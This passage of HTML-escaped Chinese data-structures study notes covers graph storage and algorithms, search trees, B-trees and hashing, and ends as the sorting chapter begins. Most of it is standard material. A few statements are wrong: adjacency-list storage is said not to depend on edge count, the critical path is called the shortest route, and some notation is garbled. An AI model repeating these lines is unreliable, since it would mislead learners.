&lt;li&gt;无向图时邻接矩阵时对称的，可用三角压缩存储：&lt;code&gt;n(n+1)/2&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;有向图：n^2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;表示唯一&lt;/li&gt;
&lt;li&gt;适合稠密图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;邻接表：
&lt;ul&gt;
&lt;li&gt;占用的存储空间与边数无关，只与顶点数有关&lt;/li&gt;
&lt;li&gt;方法：顶点 V_i 的邻接表：对于每个顶点 V_i，把所有邻接于 V_i 的顶点链成一个带头结点的单链表&lt;/li&gt;
&lt;li&gt;结构：
&lt;ul&gt;
&lt;li&gt;邻接点域：只是这个顶点在图中的位序&lt;/li&gt;
&lt;li&gt;链域（单链表中的链域）：指示与顶点 V_i 邻接的下一个结点&lt;/li&gt;
&lt;li&gt;头结点中存储顶点数据，再把各个头结点存放在数组中&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;无向图：每个表结点对应与 V_i 相关联的一条边&lt;/li&gt;
&lt;li&gt;有向图：
&lt;ul&gt;
&lt;li&gt;出边表（有向图的邻接表）：每个表结点对应以 V_i 为始点射出的一条边&lt;/li&gt;
&lt;li&gt;入边表（有向图的逆邻接表）：每个表结点对应以 V_i 为终点的边，即摄入 V_i 的边&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;当无向图中有 n 个顶点、e 条边时：需要 n 个头结点、2e 个边结点&lt;/li&gt;
&lt;li&gt;度数：
&lt;ul&gt;
&lt;li&gt;无向图：第 i 个链表中结点的个数&lt;/li&gt;
&lt;li&gt;有向图（出边表）：
&lt;ul&gt;
&lt;li&gt;出度：第 i 个链表中结点的个数&lt;/li&gt;
&lt;li&gt;入度：扫描邻接表（所有链表），其中邻接点域值为 i 的结点个数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;表示不唯一&lt;/li&gt;
&lt;li&gt;适合稀疏图（e 远小于 n(n-1)/2）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;邻接多重表：
&lt;ul&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;每个顶点用一个表头结点表示，指向关联于顶点的第一条边&lt;/li&gt;
&lt;li&gt;每条边只有一个边结点表示，且可被多个链表共享&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;结构：
&lt;ul&gt;
&lt;li&gt;标志域：用于标记该边是否被搜索过&lt;/li&gt;
&lt;li&gt;有两个域用来表示该边的两个顶点在图中的位序&lt;/li&gt;
&lt;li&gt;有两个指针域分别指向关联于两个顶点的下一条边&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;图的遍历&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;定义：从某点出发访问图中其余顶点，且每个顶点仅访问一次&lt;/li&gt;
&lt;li&gt;解决图可能存在回路：记录每个已访问过的顶点&lt;/li&gt;
&lt;li&gt;深度优先搜索（DFS）：类似于树的前序遍历
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;先将所有顶点标记为未被访问&lt;/li&gt;
&lt;li&gt;从中选取一个源点标记为已访问&lt;/li&gt;
&lt;li&gt;再将源点的邻接点加入搜索，以此类推&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;时间复杂度：O(n+e)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;广度优先搜索（BFS）：类似于树的层序遍历
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;先访问源点&lt;/li&gt;
&lt;li&gt;再访问源点的邻接点，直到全部邻接点都已访问才继续&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;尽可能先对横向结点进行搜索&lt;/li&gt;
&lt;li&gt;当所有与源点有路径相通的顶点都已访问，此时从源点开始的搜索已完成，但：
&lt;ul&gt;
&lt;li&gt;连通图：遍历完成&lt;/li&gt;
&lt;li&gt;非连通图：另选一个新的源点继续搜索，直到所有顶点都已访问&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;用队列保存顶点序列&lt;/li&gt;
&lt;li&gt;时间复杂度：O(n+e)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;图的生成树&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;G 的子图 G&apos; 包含 G 中所有顶点，且 G&apos; 无回路连通，则称 G&apos; 为 G 的一颗生成树&lt;/li&gt;
&lt;li&gt;使用 DFS 或 BFS 搜索到的 n 个顶点和经过的边集（共 n-1 条边）组成的极小连通子图&lt;/li&gt;
&lt;li&gt;连通图中包含所有顶点的极小连通子图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最小生成树（MST）：
&lt;ul&gt;
&lt;li&gt;定义：总权值最小的生成树&lt;/li&gt;
&lt;li&gt;树权：生成树各边的权值总和&lt;/li&gt;
&lt;li&gt;构造准则：
&lt;ul&gt;
&lt;li&gt;必须只使用边集中的边&lt;/li&gt;
&lt;li&gt;必须仅使用 n-1 条边连接 n 个顶点&lt;/li&gt;
&lt;li&gt;不能使用产生回路的边&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;性质：必存在包含最小两栖边的最小生成树&lt;/li&gt;
&lt;li&gt;两栖边：设 G = (V, E)，u 为 V（顶点集）的一个非空真子集。这时，如果边 (u, v) 满足 &lt;code&gt;u /subseteq U&lt;/code&gt; 和 &lt;code&gt;v /subseteq V-U&lt;/code&gt;，则称这条边为两栖边，即一个顶点在一边，另一个顶点在另一边&lt;/li&gt;
&lt;li&gt;最小两栖边：两栖边中具有最小的权值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最小生成树算法：
&lt;ul&gt;
&lt;li&gt;Prim 算法：
&lt;ul&gt;
&lt;li&gt;思想：从所有两栖边中选取最小两栖边 (u, v)，将顶点 v 加入 U，边加入边集合，直到 U = V&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;初始化 U = {u_0}，tree = {}&lt;/li&gt;
&lt;li&gt;终止条件：V = U&lt;/li&gt;
&lt;li&gt;选边加入（最小两栖边不只一条时可任选一条）&lt;/li&gt;
&lt;li&gt;调整&lt;/li&gt;
&lt;li&gt;循环直到满足终止条件&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;调整：对于任意顶点 v_j，如果顶点 v 与 v_j 之间的权值小于原来的两栖边 (v_i, v_j) 的权值，则用新边 (v, v_j) 代替旧边 (v_i, v_j)&lt;/li&gt;
&lt;li&gt;设顶点数为 n，则计算时间为 n^2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kruskal 算法：
&lt;ul&gt;
&lt;li&gt;思想：
&lt;ul&gt;
&lt;li&gt;按网络中边权值递增顺序构造&lt;/li&gt;
&lt;li&gt;初始化时仅包含所有顶点而没有边，把边按非递减排列，每个顶点各自构成一个连通分量，选边时：
&lt;ul&gt;
&lt;li&gt;如果边关联的两个顶点分别在两个连通分量中，则将边加入边集、合并连通分量&lt;/li&gt;
&lt;li&gt;如果边关联的两个顶点在同一个连通分量中，则放弃该边，因为会产生回路&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;初始化&lt;/li&gt;
&lt;li&gt;终止条件：已有 n-1 条边&lt;/li&gt;
&lt;li&gt;选边加入&lt;/li&gt;
&lt;li&gt;循环直至满足终止条件&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;时间复杂度：取决于边排序的性能，使用快排时：O(elog_2e)&lt;/li&gt;
&lt;li&gt;避圈法：求解过程中不让在生成树中出现环&lt;/li&gt;
&lt;li&gt;破圈法：每次从图中找出一个环（回路），然后删除该环中最大权值的边，直至图中无环&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;图的最短路径&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;定义：从源点到终点权值和最小的路径&lt;/li&gt;
&lt;li&gt;单源最短路径：
&lt;ul&gt;
&lt;li&gt;Dijkstra 算法&lt;/li&gt;
&lt;li&gt;设有 n 个顶点，e 条边的带权有向图的邻接矩阵：时间复杂度：O(n^2)&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;先写出全部顶点，在顶点旁标注源点到该顶点的距离：
&lt;ul&gt;
&lt;li&gt;顶点与源点的距离为一条边：正常距离&lt;/li&gt;
&lt;li&gt;顶点与源点的距离大于一条边：正无穷&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;从表中选出距离最小的顶点，现在从该顶点出发，计算所有与该顶点距离一边的顶点到源点的距离：
&lt;ul&gt;
&lt;li&gt;如果该距离比表中距离小：更新&lt;/li&gt;
&lt;li&gt;否则：保持表不变&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;已选过的顶点不能再选取，重复选点直到所有点都选过&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;多源最短路径（所有顶点对最短路径）：
&lt;ul&gt;
&lt;li&gt;重复执行 Dijkstra 算法 n 次：O(n^3)&lt;/li&gt;
&lt;li&gt;Floyd 算法：O(n^3)&lt;/li&gt;
&lt;li&gt;思想：求解 &lt;code&gt;A_{k+1}[i][j]&lt;/code&gt; 的递推公式：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;A_-1[j][j] = g.edges[i][j]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;A_{k+1}[i][j] = min(A_k[i][j], A_k[i][k+1] + A_k[k+1][j])&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;图的拓扑排序&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;有向无环图：有向图中没有包含简单回路&lt;/li&gt;
&lt;li&gt;AOV 网：用顶点表示活动，弧表示活动间优化关系的有向图&lt;/li&gt;
&lt;li&gt;有向边 &lt;code&gt;&amp;lt;u, v&amp;gt;&lt;/code&gt;：事件 u 必须先于事件 v 完成，称 u 为 v 的直接前驱，v 为 u 的直接后继&lt;/li&gt;
&lt;li&gt;有向路径 &lt;code&gt;&amp;lt;u, ..., v&amp;gt;&lt;/code&gt;：称 u 为 v 的前驱，v 为 u 的后继&lt;/li&gt;
&lt;li&gt;拓扑序列：AOV 网中两个顶点的路径，这条路径满足顶点间前驱后继的关系&lt;/li&gt;
&lt;li&gt;拓扑排序：给出 AOV 网的拓扑序列的过程&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;在图中找到一个没有前驱（入度为0）的顶点并输出&lt;/li&gt;
&lt;li&gt;删除该顶点和所有从该顶点发出的边&lt;/li&gt;
&lt;li&gt;循环执行 1、2。终止条件：所有顶点被输出或再无入度为 0 的顶点&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;执行时间：O(n+e)&lt;/li&gt;
&lt;li&gt;AOE 网：用顶点表示事件，弧表示活动，边权值表示活动持续时间&lt;/li&gt;
&lt;li&gt;源点：入度为 0 的事件&lt;/li&gt;
&lt;li&gt;汇点：出度为 0 的事件&lt;/li&gt;
&lt;li&gt;AOE 网的关键路径：从源点到汇点的最短距离，即完成工程的最短时间
&lt;ul&gt;
&lt;li&gt;方法：求解每个事件的最早发生时间和最晚允许的开始时间：O(n+e)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第九章 检索&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;检索：从数据元素集合中确定是否存在给定数据或满足某种特征的过程&lt;/li&gt;
&lt;li&gt;关键字：唯一标识每个元素&lt;/li&gt;
&lt;li&gt;静态查找表：检索前后并不改变表的内容&lt;/li&gt;
&lt;li&gt;动态查找表：检索伴随着数据的增、删、改&lt;/li&gt;
&lt;li&gt;平均查找长度：表示与集合中关键字的比较次数，是衡量检索算法的标准&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;线性表检索&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;在线性表上进行&lt;/li&gt;
&lt;li&gt;顺序检索：从表头扫描到表尾，逐个比较
&lt;ul&gt;
&lt;li&gt;效率：
&lt;ul&gt;
&lt;li&gt;成功时：平均 (n+1) / 2&lt;/li&gt;
&lt;li&gt;失败时：平均 n&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;优化：
&lt;ul&gt;
&lt;li&gt;哨兵：在表尾设置一个与关键字相等的哨兵，这样就不用每次都要判断是否查找完成（到达表尾）&lt;/li&gt;
&lt;li&gt;动态查找表（适合链式存储）：每个结点附设一个访问频率域&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;二分法检索（折半查找）：跟中间关键字来比较以决定范围
&lt;ul&gt;
&lt;li&gt;要求：关键字有序&lt;/li&gt;
&lt;li&gt;时间复杂度：O(log_2n)&lt;/li&gt;
&lt;li&gt;适合静态查找表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;分块检索（索引顺序查找）：将线性表分块，块中有若干元素，快中元素可以无序，但块与块间必须有序
&lt;ul&gt;
&lt;li&gt;顺序检索和二分检索的结合&lt;/li&gt;
&lt;li&gt;建立一个索引表，将每块中的最大元素放入表中&lt;/li&gt;
&lt;li&gt;最大查找长度：n 个元素分为 b 块：b + n / b&lt;/li&gt;
&lt;li&gt;效率：在顺序检索和二分检索之间&lt;/li&gt;
&lt;li&gt;分块：可根据数据的特征分块&lt;/li&gt;
&lt;li&gt;块中元素无序：适合动态地增、删&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;二叉排序树（二叉查找树）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;性质：左子树上所有结点 &amp;lt; 根结点 &amp;lt; 右子树上所有结点&lt;/li&gt;
&lt;li&gt;递增序列：中序遍历（树排序）&lt;/li&gt;
&lt;li&gt;查找：
&lt;ol&gt;
&lt;li&gt;根结点 = 给定关键字：查找成功&lt;/li&gt;
&lt;li&gt;根结点 &amp;lt; 给定关键字：在右子树中查找&lt;/li&gt;
&lt;li&gt;根结点 &amp;gt; 给定关键字：在左子树中查找&lt;/li&gt;
&lt;li&gt;二叉树变为空树：查找失败&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;效率与树的形状相关：比较次数不会超过树的深度&lt;/li&gt;
&lt;li&gt;效率：
&lt;ul&gt;
&lt;li&gt;最坏：退化成深度为 n 的单支树（单链表）：(n+1) / 2（顺序检索）&lt;/li&gt;
&lt;li&gt;最好：形状匀称：O(log_2n)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;适合动态查找表，方便地增、删&lt;/li&gt;
&lt;li&gt;插入：插入位置为检索失败的最终叶结点位置&lt;/li&gt;
&lt;li&gt;创建：不断插入，树的形状与插入次序有关&lt;/li&gt;
&lt;li&gt;删除：
&lt;ul&gt;
&lt;li&gt;叶结点：直接删除&lt;/li&gt;
&lt;li&gt;只有左子树没有右子树：左子树替代被删结点位置&lt;/li&gt;
&lt;li&gt;只有右子树没有左子树：右子树替代被删结点位置&lt;/li&gt;
&lt;li&gt;左右子树都有：
&lt;ul&gt;
&lt;li&gt;方法一：
&lt;ol&gt;
&lt;li&gt;让被删结点右子树代替被删结点&lt;/li&gt;
&lt;li&gt;被删结点左子树收为被删结点右子树中序首点的左孩子&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;方法二：
&lt;ol&gt;
&lt;li&gt;让被删结点左子树代替被删结点&lt;/li&gt;
&lt;li&gt;被删结点右子树收为被删结点左子树中序尾点的右孩子&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;保持树的平衡&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使二叉树的高度尽可能为 O(log_2n)&lt;/li&gt;
&lt;li&gt;丰满树：
&lt;ul&gt;
&lt;li&gt;定义：任意两个非双孩子结点的高度差绝对值 &amp;lt;= 1&lt;/li&gt;
&lt;li&gt;子女结点数 &amp;lt; 2 的结点只出现在最低两层&lt;/li&gt;
&lt;li&gt;具有最小内部路径长度&lt;/li&gt;
&lt;li&gt;平分法构造丰满树&lt;/li&gt;
&lt;li&gt;缺点：非丰满树改造成丰满树非常困难&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;平衡二叉树（AVL树）：
&lt;ul&gt;
&lt;li&gt;定义：左子树与右子树高度差绝对值 &amp;lt;= 1&lt;/li&gt;
&lt;li&gt;平衡度（平衡因子）：该结点左右子树高度差，从 [-1, 0, 1] 中取值&lt;/li&gt;
&lt;li&gt;丰满树一定是平衡树，但平衡树不一定是丰满树&lt;/li&gt;
&lt;li&gt;Adelson 方法构造：
&lt;ol&gt;
&lt;li&gt;插入：正常插入，设新结点平衡度为 0&lt;/li&gt;
&lt;li&gt;调整平衡度：
&lt;ul&gt;
&lt;li&gt;LL 型平衡旋转&lt;/li&gt;
&lt;li&gt;RR 型平衡旋转&lt;/li&gt;
&lt;li&gt;LR 型平衡旋转&lt;/li&gt;
&lt;li&gt;RL 型平衡旋转&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;改组&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;各种特性树&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;扩充二叉树：
&lt;ul&gt;
&lt;li&gt;定义：对树中不足两个孩子的结点（包括叶子结点）添上附加结点，使得每个结点都有两个孩子结点&lt;/li&gt;
&lt;li&gt;外部结点：附加的结点&lt;/li&gt;
&lt;li&gt;内部结点：树中原来结点&lt;/li&gt;
&lt;li&gt;有 n 个内部结点，则有 n+1 个外部结点&lt;/li&gt;
&lt;li&gt;扩充查找树：对二叉排序树进行扩充
&lt;ul&gt;
&lt;li&gt;中序遍历得到序列时：
&lt;ul&gt;
&lt;li&gt;最左外部结点：码值小于内部结点最小码值的可能结点集&lt;/li&gt;
&lt;li&gt;最右外部结点：码值大于内部结点最大码值的可能结点集&lt;/li&gt;
&lt;li&gt;其余外部结点：码值处在相邻结点码值之间的可能结点集&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;失败结点（外部结点）：检索时到达外部结点表示失败&lt;/li&gt;
&lt;li&gt;路径关系：所有外部结点路径长度和 = 所有内部结点路径长度和 + 2 * 内部结点数&lt;/li&gt;
&lt;li&gt;如果有最大（最小）内部路径长度，就有最大（最小）外部路径长度的二叉树，反之亦然&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最佳二叉排序树（最优查找树）：
&lt;ul&gt;
&lt;li&gt;定义：具有最少比较次数&lt;/li&gt;
&lt;li&gt;构造要求：
&lt;ul&gt;
&lt;li&gt;相同序列的不同二叉排序树应该有相同的中序遍历序列&lt;/li&gt;
&lt;li&gt;最佳二叉排序树子树也是最佳的&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;构造过程：由一个结点、两个结点、依次构造&lt;/li&gt;
&lt;li&gt;构造代价：O(n^3)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;哈夫曼树（Huffman 树）：
&lt;ul&gt;
&lt;li&gt;定义：具有最小带权外部路径长度的二叉树&lt;/li&gt;
&lt;li&gt;特点：权值大的叶子结点应该尽可能离根结点近&lt;/li&gt;
&lt;li&gt;应用：
&lt;ul&gt;
&lt;li&gt;分支程序（条件语句）的判断流程&lt;/li&gt;
&lt;li&gt;数据通信的二进制编码&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;哈夫曼算法（构造哈夫曼树）：
&lt;ol&gt;
&lt;li&gt;用有序链表存放权值（可以看作是各子树的根结点）&lt;/li&gt;
&lt;li&gt;每次取前两小的子树构造新树，新树权值为两子树权值和&lt;/li&gt;
&lt;li&gt;根据新树根权值大小重新插入有序链表，保持有序，直至链表只剩一棵树&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;计算 WPL（带权外部路径长度）：
&lt;ul&gt;
&lt;li&gt;根结点高度为 0，下面每层 +1&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WPL = 0 + 1*20 + 2*16 + 3*(10+6)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;B 树（B-tree）：多路平衡查找树
&lt;ul&gt;
&lt;li&gt;针对较大的、在外存储器的文件&lt;/li&gt;
&lt;li&gt;应用：在文件系统中作为索引文件的结构&lt;/li&gt;
&lt;li&gt;基本操作：查找；插入；删除&lt;/li&gt;
&lt;li&gt;定义：设有一颗 m 阶（m&amp;gt;=3）B 树：
&lt;ul&gt;
&lt;li&gt;m 叉树：每个结点最多有 m 棵子树&lt;/li&gt;
&lt;li&gt;如果根结点不是叶子结点（树中只有根结点），那么它至少有两个子结点&lt;/li&gt;
&lt;li&gt;非根结点至少有 ceil(m/2) 棵子树和 ceil(m/2)-1 个关键字&lt;/li&gt;
&lt;li&gt;非终端结点结构：(n, p0, k1, p1, k2, p2, ..., kn, pn)
&lt;ul&gt;
&lt;li&gt;n 为关键字的个数，n+1 为子树个数：ceil(m/2)-1 &amp;lt;= n &amp;lt;= m-1&lt;/li&gt;
&lt;li&gt;k 为关键字，且递增排列&lt;/li&gt;
&lt;li&gt;p 指向子树，且子树中的关键字会对应 p 的范围，如：
&lt;ul&gt;
&lt;li&gt;p0 指向的子树所有关键字都小于 k1&lt;/li&gt;
&lt;li&gt;p1 指向的子树所有关键字在 [k1, k2] 之间&lt;/li&gt;
&lt;li&gt;p2 指向的子树所有关键字都大于 k2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;B+ 树（B+ tree）：
&lt;ul&gt;
&lt;li&gt;构造：自底向上地把每个结点的最大（最小）关键字复写到上一层结点中&lt;/li&gt;
&lt;li&gt;两个头指针：
&lt;ol&gt;
&lt;li&gt;指向根结点&lt;/li&gt;
&lt;li&gt;指向关键字最小的叶子结点&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;非叶子结点只用于索引，不含有该关键字对应记录的存储地址&lt;/li&gt;
&lt;li&gt;基本操作：查找；插入；删除&lt;/li&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;每个结点最多有 m 棵子树&lt;/li&gt;
&lt;li&gt;非根结点至少有 ceil(m/2) 棵子树：ceil(m/2) &amp;lt;= n &amp;lt;= m&lt;/li&gt;
&lt;li&gt;如果根结点不是叶子结点（树中只有根结点），那么它至少有两个子结点：2 &amp;lt;= n &amp;lt;= m&lt;/li&gt;
&lt;li&gt;所有叶子结点包含全部关键字且有序排列（链表）&lt;/li&gt;
&lt;li&gt;结点有多少个关键字就有多少个子树&lt;/li&gt;
&lt;li&gt;每层结点是下一层结点中最大（最小）关键字的副本&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;散列&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;散列存储：
&lt;ul&gt;
&lt;li&gt;定义：以关键字为自变量通过散列函数计算出对应的值，以此作该结点的存储地址。检索时用同样的函数计算出地址再去取&lt;/li&gt;
&lt;li&gt;散列表：用散列法存储的线性表&lt;/li&gt;
&lt;li&gt;检索时间与元素个数无关：O(1)&lt;/li&gt;
&lt;li&gt;冲突（碰撞）：不同关键字具有相同的存放地址&lt;/li&gt;
&lt;li&gt;同义词：发生碰撞的多个关键字&lt;/li&gt;
&lt;li&gt;负载因子 α：反映装填程度
&lt;ul&gt;
&lt;li&gt;α = 当前结点数目 / 可容纳的结点数目&lt;/li&gt;
&lt;li&gt;α &amp;gt; 1 时冲突不可避免&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;两个主要问题：
&lt;ul&gt;
&lt;li&gt;使用计算简单、冲突几率小的散列函数&lt;/li&gt;
&lt;li&gt;确定解决冲突的方法&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;散列函数：
&lt;ul&gt;
&lt;li&gt;原则：均匀映射、降低冲突概率&lt;/li&gt;
&lt;li&gt;除余法：选择一个略小于地址个数的质数，用它除以关键字得到的余数作为地址&lt;/li&gt;
&lt;li&gt;平方取中法：取关键字平方后的中间几位作为地址：因为一个数平方后中间几位和数的每一位都有关&lt;/li&gt;
&lt;li&gt;折叠法：将关键字分割成位数相同的几部分，取这些部分的叠加和（舍去进位）作为地址
&lt;ul&gt;
&lt;li&gt;适合关键字位数很多且每位数字分布均匀时&lt;/li&gt;
&lt;li&gt;移位叠加：将分割后的每一部分最低位对齐相加&lt;/li&gt;
&lt;li&gt;间界叠加：从一端到另一端沿分割界来回折叠对齐相加&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;数字分析法：丢掉分布不均匀的位，保留分布均匀的位作为地址&lt;/li&gt;
&lt;li&gt;直接地址法：取关键字或关键字的线性函数值作为地址
&lt;ul&gt;
&lt;li&gt;哈希函数简单、不会冲突&lt;/li&gt;
&lt;li&gt;元素分布离散，大量空间浪费&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;冲突处理：
&lt;ul&gt;
&lt;li&gt;发生冲突的几率与负载因子 α 呈正相关&lt;/li&gt;
&lt;li&gt;开放定址法：发生冲突时用某种方法探测到一个空位置（开放地址）
&lt;ul&gt;
&lt;li&gt;需要某种标记区分空位置和非空位置&lt;/li&gt;
&lt;li&gt;形式：&lt;code&gt;H_i(k) = (H(k)+d_i) mod m&lt;/code&gt; H(k) 为直接哈希地址，m 为哈希表长、d_i 为每次再探测时的地址增量&lt;/li&gt;
&lt;li&gt;线性探测再散列：d_i = 1, 2, 3, ..., m-1&lt;/li&gt;
&lt;li&gt;二次探测再散列：d_i = 1^2, -1^2, 2^2, -2^2, ..., k^2, -k^2&lt;/li&gt;
&lt;li&gt;随机探测再散列：d_i = 随机数序列&lt;/li&gt;
&lt;li&gt;聚集：哈希地址形成区块的现象&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;再哈希法：发生冲突时用下一个不同的哈希函数计算地址，直至无冲突
&lt;ul&gt;
&lt;li&gt;不易发生聚集，但增加了计算时间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拉链法：散列表中每个位置对应一条单链表，同义词（地址相同）均放入链表中，冲突时在链表后面加入
&lt;ul&gt;
&lt;li&gt;处理冲突简单，无聚集：非同义词不会冲突，平均查找长度较短&lt;/li&gt;
&lt;li&gt;删除结点的操作易于实现&lt;/li&gt;
&lt;li&gt;动态申请空间，适合无法确定表长的情况&lt;/li&gt;
&lt;li&gt;指针会占用额外空间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;差值法：冲突时用一个固定的差值得到新地址，超出时循环&lt;/li&gt;
&lt;li&gt;公共溢出区法：发生冲突时忽略哈希函数得到的地址，直接添加到溢出表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十章 内排序&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;排序的定义：以记录中某个（几个）字段值（排序码）递增（递减）的次序将这些记录重新排列&lt;/li&gt;
&lt;li&gt;关键码：唯一标识一个记录的字段&lt;/li&gt;
&lt;li&gt;关键码可为排序码，但排序码不一定为关键码，即排序码可能会相同&lt;/li&gt;
&lt;li&gt;由存储介质分类：
&lt;ul&gt;
&lt;li&gt;内排序：数据只在内存中处理&lt;/li&gt;
&lt;li&gt;外排序：数据过大，内存不够，还需要用到外存&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;稳定性：
&lt;ul&gt;
&lt;li&gt;稳定：有相同排序码的记录，排序后次序不变&lt;/li&gt;
&lt;li&gt;不稳定：有相同排序码的记录，排序后次序改变&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;插入排序&lt;/h3&gt;
&lt;ul&gt;
